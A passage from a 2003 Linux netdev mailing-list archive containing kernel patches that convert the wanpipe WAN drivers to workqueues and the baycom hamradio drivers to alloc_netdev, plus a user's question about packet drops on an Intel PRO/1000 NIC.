Multiprotocol Driver"; static char copyright[] = "(c) 1995-2000 Sangoma Technologies Inc."; -static int ncards = 0; -static sdla_t* card_array = NULL; /* adapter data space */ +static int ncards; +static sdla_t* card_array; /* adapter data space */ -/* Wanpipe's own task queue, used for all API's. - * All protocol specific tasks will be instered - * into "wanpipe_tq_custom" task_queue. - - * On each rx_interrupt, the whole task queue - * (wanpipe_tq_custom) will be queued into - * IMMEDIATE_BH via wanpipe_mark_bh() call. - - * The IMMEDIATE_BH will execute run_wanpipe_tq() - * function, which will execute all pending, - * tasks in wanpipe_tq_custom queue */ - -DECLARE_TASK_QUEUE(wanpipe_tq_custom); -static struct tq_struct wanpipe_tq_task = -{ - .routine = (void (*)(void *)) run_wanpipe_tq, - .data = &wanpipe_tq_custom -}; +/* Wanpipe's own workqueue, used for all API's. + * All protocol specific tasks will be inserted + * into the "wanpipe_wq" workqueue. + + * The kernel workqueue mechanism will execute + * all pending tasks in the "wanpipe_wq" workqueue. + */ -static int wanpipe_bh_critical=0; +struct workqueue_struct *wanpipe_wq; +DECLARE_WORK(wanpipe_work, NULL, NULL); + +static int wanpipe_bh_critical; /******* Kernel Loadable Module Entry Points ********************************/ @@ -249,6 +240,10 @@ int wanpipe_init(void) printk(KERN_INFO "%s v%u.%u %s\n", fullname, DRV_VERSION, DRV_RELEASE, copyright); + wanpipe_wq = create_workqueue("wanpipe_wq"); + if (!wanpipe_wq) + return -ENOMEM; + /* Probe for wanpipe cards and return the number found */ printk(KERN_INFO "wanpipe: Probing for WANPIPE hardware.\n"); ncards = wanpipe_hw_probe(); @@ -256,13 +251,16 @@ int wanpipe_init(void) printk(KERN_INFO "wanpipe: Allocating maximum %i devices: wanpipe%i - wanpipe%i.\n",ncards,1,ncards); }else{ printk(KERN_INFO "wanpipe: No S514/S508 cards found, unloading modules!\n"); + destroy_workqueue(wanpipe_wq); return -ENODEV; } /* Verify number of cards and allocate adapter data space */ card_array = kmalloc(sizeof(sdla_t) * ncards, GFP_KERNEL); - if (card_array == NULL) + if (card_array == NULL) { + destroy_workqueue(wanpipe_wq); return -ENOMEM; + } memset(card_array, 0, sizeof(sdla_t) * ncards); @@ -292,6 +290,7 @@ int wanpipe_init(void) ncards = cnt; /* adjust actual number of cards */ }else { kfree(card_array); + destroy_workqueue(wanpipe_wq); printk(KERN_INFO "IN Init Module: NO Cards registered\n"); err = -ENODEV; } @@ -316,6 +315,7 @@ static void wanpipe_cleanup(void) sdla_t* card = &card_array[i]; unregister_wan_device(card->devname); } + destroy_workqueue(wanpipe_wq); kfree(card_array); printk(KERN_INFO "\nwanpipe: WANPIPE Modules Unloaded.\n"); @@ -673,15 +673,20 @@ static int check_s508_conflicts (sdla_t* /* Make sure I/O port region is available only if we are the - * master device. If we are running in piggibacking mode, - * we will use the resources of the master card */ - if (check_region(conf->ioport, SDLA_MAXIORANGE) && - !card->wandev.piggyback) { - printk(KERN_INFO - "%s: I/O region 0x%X - 0x%X is in use!\n", - card->wandev.name, conf->ioport, - conf->ioport + SDLA_MAXIORANGE); - return -EINVAL; + * master device. If we are running in piggybacking mode, + * we will use the resources of the master card. */ + if (!card->wandev.piggyback) { + struct resource *rr = + request_region(conf->ioport, SDLA_MAXIORANGE, "sdlamain"); + release_region(conf->ioport, SDLA_MAXIORANGE); + + if (!rr) { + printk(KERN_INFO + "%s: I/O region 0x%X - 0x%X is in use!\n", + card->wandev.name, conf->ioport, + conf->ioport + SDLA_MAXIORANGE - 1); + return -EINVAL; + } } return 0; @@ -1029,7 +1034,6 @@ static int ioctl_exec (sdla_t* card, sdl STATIC irqreturn_t sdla_isr (int irq, void* dev_id, struct pt_regs *regs) { #define card ((sdla_t*)dev_id) - int handled = 0; if(card->hw.type == SDLA_S514) { /* handle interrrupt on S514 */ u32 int_status; @@ -1210,6 +1214,7 @@ sdla_t * wanpipe_find_card (char *name) } return NULL; } + sdla_t * wanpipe_find_card_num (int num) { if (num < 1 || num > ncards) @@ -1218,35 +1223,20 @@ sdla_t * wanpipe_find_card_num (int num) return &card_array[num]; } - -static void run_wanpipe_tq (unsigned long data) -{ - task_queue *tq_queue = (task_queue *)data; - if (test_and_set_bit(2,(void*)&wanpipe_bh_critical)) - printk(KERN_INFO "CRITICAL IN RUNNING TASK QUEUE\n"); - run_task_queue (tq_queue); - clear_bit(2,(void*)&wanpipe_bh_critical); - -} - -void wanpipe_queue_tq (struct tq_struct *bh_pointer) +/* + * @work_pointer: work_struct to be done; + * should already have PREPARE_WORK() or + * INIT_WORK() done on it by caller; + */ +void wanpipe_queue_work (struct work_struct *work_pointer) { - if (test_and_set_bit(1,(void*)&wanpipe_bh_critical)) - printk(KERN_INFO "CRITICAL IN QUEUING TASK\n"); + if (test_and_set_bit(1, (void*)&wanpipe_bh_critical)) + printk(KERN_INFO "CRITICAL IN QUEUING WORK\n"); - queue_task(bh_pointer,&wanpipe_tq_custom); + queue_work(wanpipe_wq, work_pointer); clear_bit(1,(void*)&wanpipe_bh_critical); } -void wanpipe_mark_bh (void) -{ - if (!test_and_set_bit(0,(void*)&wanpipe_bh_critical)){ - queue_task(&wanpipe_tq_task,&tq_immediate); - mark_bh(IMMEDIATE_BH); - clear_bit(0,(void*)&wanpipe_bh_critical); - } -} - void wakeup_sk_bh(struct net_device *dev) { wanpipe_common_t *chan = dev->priv; diff -Naurp ./drivers/net/wan/sdla_fr.c~wrkque ./drivers/net/wan/sdla_fr.c --- ./drivers/net/wan/sdla_fr.c~wrkque 2003-09-08 12:50:41.000000000 -0700 +++ ./drivers/net/wan/sdla_fr.c 2003-09-19 10:22:24.000000000 -0700 @@ -147,6 +147,7 @@ #include /* kmalloc(), kfree() */ #include /* WAN router definitions */ #include /* WANPIPE common user API definitions */ +#include #include /* ARPHRD_* defines */ #include /* htons(), etc. */ #include /* for inb(), outb(), etc. */ @@ -247,7 +248,7 @@ typedef struct fr_channel /* Polling task queue. Each interface * has its own task queue, which is used * to defer events from the interrupt */ - struct tq_struct fr_poll_task; + struct work_struct fr_poll_work; struct timer_list fr_arp_timer; u32 ip_local; @@ -987,9 +988,7 @@ static int new_if(struct wan_device* wan * We need a poll routine for each network * interface. */ - chan->fr_poll_task.sync = 0; - chan->fr_poll_task.routine = (void *)(void *)fr_poll; - chan->fr_poll_task.data = dev; + INIT_WORK(&chan->fr_poll_work, (void *)fr_poll, dev); init_timer(&chan->fr_arp_timer); chan->fr_arp_timer.data=(unsigned long)dev; @@ -1212,9 +1211,7 @@ static int if_open(struct net_device* de /* Initialize the task queue */ chan->tq_working=0; - chan->common.wanpipe_task.sync = 0; - chan->common.wanpipe_task.routine = (void *)(void *)fr_bh; - chan->common.wanpipe_task.data = dev; + INIT_WORK(&chan->common.wanpipe_work, (void *)fr_bh, dev); /* Allocate and initialize BH circular buffer */ chan->bh_head = kmalloc((sizeof(bh_data_t)*MAX_BH_BUFF),GFP_ATOMIC); @@ -2178,7 +2175,7 @@ static void rx_intr (sdla_t* card) } - /* Send a packed up the IP stack */ + /* Send a packet up the IP stack */ skb->dev->last_rx = jiffies; netif_rx(skb); ++chan->drvstats_rx_intr.rx_intr_bfr_passed_to_stack; @@ -2216,8 +2213,8 @@ rx_done: * dlci number. * 2. Check that network interface is up and * properly setup. - * 3. Check for a buffered packed. - * 4. Transmit the packed. + * 3. Check for a buffered packet. + * 4. Transmit the packet. * 5. If we are in WANPIPE mode, mark the * NET_BH handler. * 6. If we are in API mode, kick @@ -4359,8 +4356,8 @@ void s508_s514_unlock(sdla_t *card, unsi * bh_enqueue * * Description: - * Insert a received packed into a circular - * rx queue. This packed will be picked up + * Insert a received packet into a circular + * rx queue. This packet will be picked up * by fr_bh() and sent up the stack to the * user. * @@ -4411,8 +4408,7 @@ static int bh_enqueue(struct net_device static void trigger_fr_bh (fr_channel_t *chan) { if (!test_and_set_bit(0,&chan->tq_working)){ - wanpipe_queue_tq(&chan->common.wanpipe_task); - wanpipe_mark_bh(); + wanpipe_queue_work(&chan->common.wanpipe_work); } } @@ -4435,10 +4431,10 @@ static void trigger_fr_bh (fr_channel_t * card into an skb buffer, the skb buffer * is appended to a circular BH buffer. * Then the interrupt kicks fr_bh() to finish the - * job at a later time (no within the interrupt). + * job at a later time (not within the interrupt). * * Usage: - * Interrupts use this to defer a taks to + * Interrupts use this to defer a task to * a polling routine. * */ @@ -4527,7 +4523,7 @@ static int fr_bh_cleanup(struct net_devi static void trigger_fr_poll(struct net_device *dev) { fr_channel_t* chan = dev->priv; - schedule_task(&chan->fr_poll_task); + schedule_work(&chan->fr_poll_work); return; } diff -Naurp ./drivers/net/wan/sdla_x25.c~wrkque ./drivers/net/wan/sdla_x25.c --- ./drivers/net/wan/sdla_x25.c~wrkque 2003-09-08 12:50:16.000000000 -0700 +++ ./drivers/net/wan/sdla_x25.c 2003-09-19 10:09:03.000000000 -0700 @@ -91,6 +91,7 @@ #include /* kmalloc(), kfree() */ #include /* WAN router definitions */ #include /* WANPIPE common user API definitions */ +#include #include /* htons(), etc. */ #include #include /* Experimental delay */ @@ -790,9 +791,7 @@ int wpx_init (sdla_t* card, wandev_conf_ init_global_statistics(card); - card->u.x.x25_poll_task.sync=0; - card->u.x.x25_poll_task.routine = (void*)(void*)wpx_poll; - card->u.x.x25_poll_task.data = card; + INIT_WORK(&card->u.x.x25_poll_work, (void *)wpx_poll, card); init_timer(&card->u.x.x25_timer); card->u.x.x25_timer.data = (unsigned long)card; @@ -1175,7 +1174,7 @@ static int if_init(struct net_device* de * Warnings: None * * Return: 0 Ok - * <0 Failur: Interface will not come up. + * <0 Failure: Interface will not come up. */ static int if_open(struct net_device* dev) @@ -1190,10 +1189,8 @@ static int if_open(struct net_device* de chan->tq_working = 0; - /* Initialize the task queue */ - chan->common.wanpipe_task.sync = 0; - chan->common.wanpipe_task.routine = (void *)(void *)x25api_bh; - chan->common.wanpipe_task.data = dev; + /* Initialize the workqueue */ + INIT_WORK(&chan->common.wanpipe_work, (void *)x25api_bh, dev); /* Allocate and initialize BH circular buffer */ /* Add 1 to MAX_BH_BUFF so we don't have test with (MAX_BH_BUFF-1) */ @@ -1732,8 +1729,7 @@ static void rx_intr (sdla_t* card) chan->rx_skb = NULL; if (!test_and_set_bit(0, &chan->tq_working)){ - wanpipe_queue_tq(&chan->common.wanpipe_task); - wanpipe_mark_bh(); + wanpipe_queue_work(&chan->common.wanpipe_work); } return; } @@ -2227,7 +2223,7 @@ static void spur_intr (sdla_t* card) /*==================================================================== * Main polling routine. - * This routine is repeatedly called by the WANPIPE 'thead' to allow for + * This routine is repeatedly called by the WANPIPE 'thread' to allow for * time-dependent housekeeping work. * * Notes: @@ -2274,7 +2270,7 @@ wpx_poll_exit: static void trigger_x25_poll(sdla_t *card) { - schedule_task(&card->u.x.x25_poll_task); + schedule_work(&card->u.x.x25_poll_work); } /*==================================================================== From lxu2@unity.ncsu.edu Fri Sep 19 13:24:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 13:24:20 -0700 (PDT) Received: from uni04mr.unity.ncsu.edu (uni04mr.unity.ncsu.edu [152.1.1.167]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JKOAFx022272 for ; Fri, 19 Sep 2003 13:24:10 -0700 Received: from localhost (localhost [127.0.0.1]) by uni04mr.unity.ncsu.edu (8.12.10/8.12.9/N.20030820.01) with ESMTP id h8JKO8Lf021329; Fri, 19 Sep 2003 16:24:08 -0400 (EDT) Received: from uni04mr.unity.ncsu.edu ([127.0.0.1]) by localhost (uni04mr.unity.ncsu.edu [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 21289-03; Fri, 19 Sep 2003 16:24:05 -0400 (EDT) Received: from nanegrc (old-computer.csc.ncsu.edu [152.14.51.140]) by uni04mr.unity.ncsu.edu (8.12.10/8.12.9/N.20030820.01) with SMTP id h8JKNXvk021187; Fri, 19 Sep 2003 16:23:33 -0400 (EDT) Message-ID: <00cb01c37eec$5e27e3c0$8c330e98@nanegrc> From: "Lisong Xu" To: "Lisong Xu" , , Subject: Re: Intel PRO/1000 NIC Date: Fri, 19 Sep 2003 16:26:54 -0400 Organization: NC State University MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00C8_01C37ECA.D6C0A9B0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-archive-position: 59 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: lxu2@unity.ncsu.edu Precedence: bulk X-list: netdev Content-Length: 7866 Lines: 213 This is a multi-part message in MIME format. ------=_NextPart_000_00C8_01C37ECA.D6C0A9B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, Just in case you have a similar problem.=20 The possible reason is that the on-board Inter 1000 chip of Dell = PowerEdge 1600SC is Intel 82540EM, which is running PCI 32/33 or PCI = 32/66. Lisong ----- Original Message -----=20 From: Lisong Xu=20 To: netdev@oss.sgi.com ; linux-kernel@vger.kernel.org=20 Sent: Monday, September 15, 2003 10:35 AM Subject: Intel PRO/1000 NIC Hello, I am sending UDP data from one PC to another PC directly through a = cross cable. The NIC of sender is Intel=AE PRO/1000 MT Server Adapter, and = the NIC of receiver is on-board Intel PRO/1000 (Dell PowerEdge 1600SC). After tuning the kernel and driver parameters, the sender can send = data at 1Gbps. But the receiver can only receive data at 620Mbps. (see the = following ifconfig messages, 30 seconds test) *********** Sender ******************* eth1 Link encap:Ethernet HWaddr 00:07:E9:17:84:36 inet addr:192.168.1.100 Bcast:192.168.1.255 = Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:9000 Metric:1 RX packets:111 errors:0 dropped:0 overruns:0 frame:0 TX packets:418072 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:30000 RX bytes:26193 (25.5 Kb) TX bytes:3759596626 (3585.4 Mb) Interrupt:24 Base address:0xccc0 Memory:fcd00000-fcd20000 **************Receiver*********************** eth0 Link encap:Ethernet HWaddr 00:C0:9F:1E:3A:46 inet addr:192.168.1.101 Bcast:192.168.1.255 = Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:9000 Metric:1 RX packets:261355 errors:156688 dropped:156688 = overruns:156688 frame:0 <---- Look here!!!!! TX packets:97 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:30000 RX bytes:2350019728 (2241.1 Mb) TX bytes:22821 (22.2 Kb) Interrupt:11 Base address:0xecc0 Memory:fe100000-fe120000 *************************************************** My questions is why so many packets are "errors, dropped, overruns". I = have adjusted the "TxDescriptors, RxDescriptors, RxIntDelay, RxAbsIntDelay, TxIntDelay, TxAbsIntDelay" for different values, but = always got similar result. Maybe here is not the right email list to send, but I am really = frustrated with this problems, and hope to get some suggestions from the experts here.Any suggestion is really appreciated! Lisong ------=_NextPart_000_00C8_01C37ECA.D6C0A9B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello,
 
Just in case you have a similar = problem.=20
 
The possible reason is that the = on-board Inter 1000=20 chip of Dell PowerEdge 1600SC is Intel=20 82540EM, which is running = PCI 32/33=20 or PCI 32/66.
 
Lisong
 
----- Original Message -----
From:=20 Lisong Xu=20
To: netdev@oss.sgi.com ; linux-kernel@vger.kernel.org= =20
Sent: Monday, September 15, = 2003 10:35=20 AM
Subject: Intel PRO/1000 = NIC

Hello,

I am sending UDP data from one PC to = another PC=20 directly through a cross
cable. The NIC of sender is Intel=AE = PRO/1000 MT=20 Server Adapter, and the NIC
of receiver is on-board Intel PRO/1000 = (Dell=20 PowerEdge 1600SC).

After tuning the kernel and driver = parameters, the=20 sender can send data at
1Gbps. But the receiver can only receive = data at=20 620Mbps. (see the following
ifconfig messages, 30 seconds=20 test)

*********** Sender=20 *******************
eth1      Link=20 encap:Ethernet  HWaddr=20 = 00:07:E9:17:84:36
        &nbs= p;=20 inet addr:192.168.1.100  Bcast:192.168.1.255 =20 = Mask:255.255.255.0
        &nb= sp;=20 UP BROADCAST RUNNING MULTICAST  MTU:9000 =20 Metric:1
          RX=20 packets:111 errors:0 dropped:0 overruns:0=20 frame:0
          TX=20 packets:418072 errors:0 dropped:0 overruns:0=20 carrier:0
         =20 collisions:0=20 = txqueuelen:30000
         = ; RX=20 bytes:26193 (25.5 Kb)  TX bytes:3759596626 (3585.4=20 Mb)
          = Interrupt:24=20 Base address:0xccc0=20 = Memory:fcd00000-fcd20000
**************Receiver***********************=
eth0     =20 Link encap:Ethernet  HWaddr=20 = 00:C0:9F:1E:3A:46
        &nbs= p;=20 inet addr:192.168.1.101  Bcast:192.168.1.255 =20 = Mask:255.255.255.0
        &nb= sp;=20 UP BROADCAST RUNNING MULTICAST  MTU:9000 =20 Metric:1
          RX=20 packets:261355 errors:156688 dropped:156688=20 overruns:156688
frame:0   <---- Look=20 here!!!!!
          TX = packets:97 errors:0 dropped:0 overruns:0=20 carrier:0
         =20 collisions:0=20 = txqueuelen:30000
         = ; RX=20 bytes:2350019728 (2241.1 Mb)  TX bytes:22821 (22.2=20 Kb)
          = Interrupt:11=20 Base address:0xecc0=20 = Memory:fe100000-fe120000
*********************************************= ******

My=20 questions is why so many packets are "errors, dropped, overruns". I=20 have
adjusted the "TxDescriptors, RxDescriptors,=20 RxIntDelay,
RxAbsIntDelay, TxIntDelay, TxAbsIntDelay" for different = values,=20 but always
got similar result.

Maybe here is not the right = email=20 list to send, but I am really frustrated
with this problems, and = hope to=20 get some suggestions from the experts
here.Any suggestion is really = = appreciated!

Lisong




= ------=_NextPart_000_00C8_01C37ECA.D6C0A9B0-- From shemminger@osdl.org Fri Sep 19 13:38:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 13:38:34 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JKcQFx024450 for ; Fri, 19 Sep 2003 13:38:27 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8JKcCU09504; Fri, 19 Sep 2003 13:38:12 -0700 Date: Fri, 19 Sep 2003 13:37:50 -0700 From: Stephen Hemminger To: Thomas Sailer , Jeff Garzik Cc: linux-hams@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] (1/4) Update baycom drivers for 2.6 Message-Id: <20030919133750.4053f72c.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 60 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 16848 Lines: 602 Update baycom drivers for 2.6.0-test5 - get rid of MOD_INC/DEC (looked into hdlcdrv_ops and don't need to have owner field because baycom drivers unregister on unload). - use alloc_netdev instead of static device structures. - hdlcdrv_register returns device instead of getting passed one. - put private data in space allocated at dev->priv in alloc_netdev - shorten name of hdlcdrv_register_hdlcdrv to hdlcdrv_register I don't have actual baycom hardware, but driver builds and loads/unloads. Real hardware initialization doesn't happen until open. The first one is the important patch, the other three are just code review type cleanups. diff -urNp -X dontdiff net-2.5/drivers/net/hamradio/baycom_epp.c linux-2.5-net/drivers/net/hamradio/baycom_epp.c --- net-2.5/drivers/net/hamradio/baycom_epp.c 2003-09-19 10:20:48.000000000 -0700 +++ linux-2.5-net/drivers/net/hamradio/baycom_epp.c 2003-09-09 16:36:16.000000000 -0700 @@ -98,7 +98,7 @@ KERN_INFO "baycom_epp: version 0.7 compi #define NR_PORTS 4 -static struct net_device baycom_device[NR_PORTS]; +static struct net_device *baycom_device[NR_PORTS]; /* --------------------------------------------------------------------- */ @@ -1084,7 +1084,6 @@ static int epp_open(struct net_device *d /* start the bottom half stuff */ schedule_delayed_work(&bc->run_work, 1); netif_start_queue(dev); - MOD_INC_USE_COUNT; return 0; epptimeout: @@ -1119,7 +1118,6 @@ static int epp_close(struct net_device * bc->skb = NULL; printk(KERN_INFO "%s: close epp at iobase 0x%lx irq %u\n", bc_drvname, dev->base_addr, dev->irq); - MOD_DEC_USE_COUNT; return 0; } @@ -1357,69 +1355,76 @@ MODULE_LICENSE("GPL"); /* --------------------------------------------------------------------- */ +static void __init baycom_epp_setup(struct net_device *dev) +{ + struct baycom_state *bc = dev->priv; + + /* + * initialize part of the baycom_state struct + */ + bc->magic = BAYCOM_MAGIC; + bc->cfg.fclk = 19666600; + bc->cfg.bps = 9600; + /* + * initialize part of the device struct + */ + dev->init = baycom_probe; +} + static int __init init_baycomepp(void) { - struct net_device *dev; int i, found = 0; char set_hw = 1; - struct baycom_state *bc; printk(bc_drvinfo); /* * register net devices */ for (i = 0; i < NR_PORTS; i++) { - dev = baycom_device+i; + struct net_device *dev; + + dev = alloc_netdev(sizeof(struct baycom_state), "bce%d", + baycom_epp_setup); + + if (!dev) { + printk(KERN_WARNING "bce%d : out of memory\n", i); + return found ? 0 : -ENOMEM; + } + + sprintf(dev->name, "bce%d", i); + dev->base_addr = iobase[i]; + if (!mode[i]) set_hw = 0; if (!set_hw) iobase[i] = 0; - memset(dev, 0, sizeof(struct net_device)); - if (!(bc = dev->priv = kmalloc(sizeof(struct baycom_state), GFP_KERNEL))) - return -ENOMEM; - /* - * initialize part of the baycom_state struct - */ - memset(bc, 0, sizeof(struct baycom_state)); - bc->magic = BAYCOM_MAGIC; - sprintf(dev->name, "bce%d", i); - bc->cfg.fclk = 19666600; - bc->cfg.bps = 9600; - /* - * initialize part of the device struct - */ - dev->if_port = 0; - dev->init = baycom_probe; - dev->base_addr = iobase[i]; - dev->irq = 0; - dev->dma = 0; + if (register_netdev(dev)) { printk(KERN_WARNING "%s: cannot register net device %s\n", bc_drvname, dev->name); - kfree(dev->priv); - return -ENXIO; + kfree(dev); + break; } - if (set_hw && baycom_setmode(bc, mode[i])) + if (set_hw && baycom_setmode(dev->priv, mode[i])) set_hw = 0; + baycom_device[i] = dev; found++; } - if (!found) - return -ENXIO; - return 0; + + return found ? 0 : -ENXIO; } static void __exit cleanup_baycomepp(void) { - struct net_device *dev; - struct baycom_state *bc; int i; for(i = 0; i < NR_PORTS; i++) { - dev = baycom_device+i; - bc = (struct baycom_state *)dev->priv; - if (bc) { + struct net_device *dev = baycom_device[i]; + + if (dev) { + struct baycom_state *bc = dev->priv; if (bc->magic == BAYCOM_MAGIC) { unregister_netdev(dev); - kfree(dev->priv); + free_netdev(dev); } else printk(paranoia_str, "cleanup_module"); } diff -urNp -X dontdiff net-2.5/drivers/net/hamradio/baycom_par.c linux-2.5-net/drivers/net/hamradio/baycom_par.c --- net-2.5/drivers/net/hamradio/baycom_par.c 2003-09-19 10:20:48.000000000 -0700 +++ linux-2.5-net/drivers/net/hamradio/baycom_par.c 2003-09-09 16:36:16.000000000 -0700 @@ -108,7 +108,7 @@ KERN_INFO "baycom_par: version 0.9 compi #define NR_PORTS 4 -static struct net_device baycom_device[NR_PORTS]; +static struct net_device *baycom_device[NR_PORTS]; /* --------------------------------------------------------------------- */ @@ -353,7 +353,6 @@ static int par96_open(struct net_device pp->ops->enable_irq(pp); printk(KERN_INFO "%s: par96 at iobase 0x%lx irq %u options 0x%x\n", bc_drvname, dev->base_addr, dev->irq, bc->options); - MOD_INC_USE_COUNT; return 0; } @@ -375,7 +374,6 @@ static int par96_close(struct net_device parport_unregister_device(bc->pdev); printk(KERN_INFO "%s: close par96 at iobase 0x%lx irq %u\n", bc_drvname, dev->base_addr, dev->irq); - MOD_DEC_USE_COUNT; return 0; } @@ -499,35 +497,38 @@ MODULE_LICENSE("GPL"); static int __init init_baycompar(void) { - int i, j, found = 0; + int i, found = 0; char set_hw = 1; - struct baycom_state *bc; printk(bc_drvinfo); /* * register net devices */ for (i = 0; i < NR_PORTS; i++) { - struct net_device *dev = baycom_device+i; + struct net_device *dev; + struct baycom_state *bc; char ifname[IFNAMSIZ]; sprintf(ifname, "bcp%d", i); + if (!mode[i]) set_hw = 0; if (!set_hw) iobase[i] = 0; - j = hdlcdrv_register_hdlcdrv(dev, &par96_ops, sizeof(struct baycom_state), - ifname, iobase[i], 0, 0); - if (!j) { - bc = (struct baycom_state *)dev->priv; - if (set_hw && baycom_setmode(bc, mode[i])) - set_hw = 0; - found++; - } else { - printk(KERN_WARNING "%s: cannot register net device\n", - bc_drvname); - } + + dev = hdlcdrv_register(&par96_ops, + sizeof(struct baycom_state), + ifname, iobase[i], 0, 0); + if (IS_ERR(dev)) + break; + + bc = (struct baycom_state *)dev->priv; + if (set_hw && baycom_setmode(bc, mode[i])) + set_hw = 0; + found++; + baycom_device[i] = dev; } + if (!found) return -ENXIO; return 0; @@ -538,16 +539,10 @@ static void __exit cleanup_baycompar(voi int i; for(i = 0; i < NR_PORTS; i++) { - struct net_device *dev = baycom_device+i; - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct net_device *dev = baycom_device[i]; - if (bc) { - if (bc->hdrv.magic != HDLCDRV_MAGIC) - printk(KERN_ERR "baycom: invalid magic in " - "cleanup_module\n"); - else - hdlcdrv_unregister_hdlcdrv(dev); - } + if (dev) + hdlcdrv_unregister(dev); } } diff -urNp -X dontdiff net-2.5/drivers/net/hamradio/baycom_ser_fdx.c linux-2.5-net/drivers/net/hamradio/baycom_ser_fdx.c --- net-2.5/drivers/net/hamradio/baycom_ser_fdx.c 2003-09-19 10:20:48.000000000 -0700 +++ linux-2.5-net/drivers/net/hamradio/baycom_ser_fdx.c 2003-09-09 16:36:16.000000000 -0700 @@ -95,7 +95,7 @@ KERN_INFO "baycom_ser_fdx: version 0.10 #define NR_PORTS 4 -static struct net_device baycom_device[NR_PORTS]; +static struct net_device *baycom_device[NR_PORTS]; /* --------------------------------------------------------------------- */ @@ -460,7 +460,6 @@ static int ser12_open(struct net_device hdlcdrv_setdcd(&bc->hdrv, 0); printk(KERN_INFO "%s: ser_fdx at iobase 0x%lx irq %u baud %u uart %s\n", bc_drvname, dev->base_addr, dev->irq, bc->baud, uart_str[u]); - MOD_INC_USE_COUNT; return 0; } @@ -481,7 +480,6 @@ static int ser12_close(struct net_device release_region(dev->base_addr, SER12_EXTENT); printk(KERN_INFO "%s: close ser_fdx at iobase 0x%lx irq %u\n", bc_drvname, dev->base_addr, dev->irq); - MOD_DEC_USE_COUNT; return 0; } @@ -622,36 +620,39 @@ MODULE_LICENSE("GPL"); static int __init init_baycomserfdx(void) { - int i, j, found = 0; + int i, found = 0; char set_hw = 1; - struct baycom_state *bc; printk(bc_drvinfo); /* * register net devices */ for (i = 0; i < NR_PORTS; i++) { - struct net_device *dev = baycom_device+i; + struct net_device *dev; + struct baycom_state *bc; char ifname[IFNAMSIZ]; sprintf(ifname, "bcsf%d", i); + if (!mode[i]) set_hw = 0; if (!set_hw) iobase[i] = irq[i] = 0; - j = hdlcdrv_register_hdlcdrv(dev, &ser12_ops, sizeof(struct baycom_state), - ifname, iobase[i], irq[i], 0); - if (!j) { - bc = (struct baycom_state *)dev->priv; - if (set_hw && baycom_setmode(bc, mode[i])) - set_hw = 0; - bc->baud = baud[i]; - found++; - } else { - printk(KERN_WARNING "%s: cannot register net device\n", - bc_drvname); - } + + dev = hdlcdrv_register(&ser12_ops, + sizeof(struct baycom_state), + ifname, iobase[i], irq[i], 0); + if (IS_ERR(dev)) + break; + + bc = (struct baycom_state *)dev->priv; + if (set_hw && baycom_setmode(bc, mode[i])) + set_hw = 0; + bc->baud = baud[i]; + found++; + baycom_device[i] = dev; } + if (!found) return -ENXIO; return 0; @@ -662,16 +663,9 @@ static void __exit cleanup_baycomserfdx( int i; for(i = 0; i < NR_PORTS; i++) { - struct net_device *dev = baycom_device+i; - struct baycom_state *bc = (struct baycom_state *)dev->priv; - - if (bc) { - if (bc->hdrv.magic != HDLCDRV_MAGIC) - printk(KERN_ERR "baycom: invalid magic in " - "cleanup_module\n"); - else - hdlcdrv_unregister_hdlcdrv(dev); - } + struct net_device *dev = baycom_device[i]; + if (dev) + hdlcdrv_unregister(dev); } } diff -urNp -X dontdiff net-2.5/drivers/net/hamradio/baycom_ser_hdx.c linux-2.5-net/drivers/net/hamradio/baycom_ser_hdx.c --- net-2.5/drivers/net/hamradio/baycom_ser_hdx.c 2003-09-19 10:20:48.000000000 -0700 +++ linux-2.5-net/drivers/net/hamradio/baycom_ser_hdx.c 2003-09-09 16:36:16.000000000 -0700 @@ -85,7 +85,7 @@ KERN_INFO "baycom_ser_hdx: version 0.10 #define NR_PORTS 4 -static struct net_device baycom_device[NR_PORTS]; +static struct net_device *baycom_device[NR_PORTS]; /* --------------------------------------------------------------------- */ @@ -505,7 +505,6 @@ static int ser12_open(struct net_device ser12_set_divisor(dev, bc->opt_dcd ? 6 : 4); printk(KERN_INFO "%s: ser12 at iobase 0x%lx irq %u uart %s\n", bc_drvname, dev->base_addr, dev->irq, uart_str[u]); - MOD_INC_USE_COUNT; return 0; } @@ -526,7 +525,6 @@ static int ser12_close(struct net_device release_region(dev->base_addr, SER12_EXTENT); printk(KERN_INFO "%s: close ser12 at iobase 0x%lx irq %u\n", bc_drvname, dev->base_addr, dev->irq); - 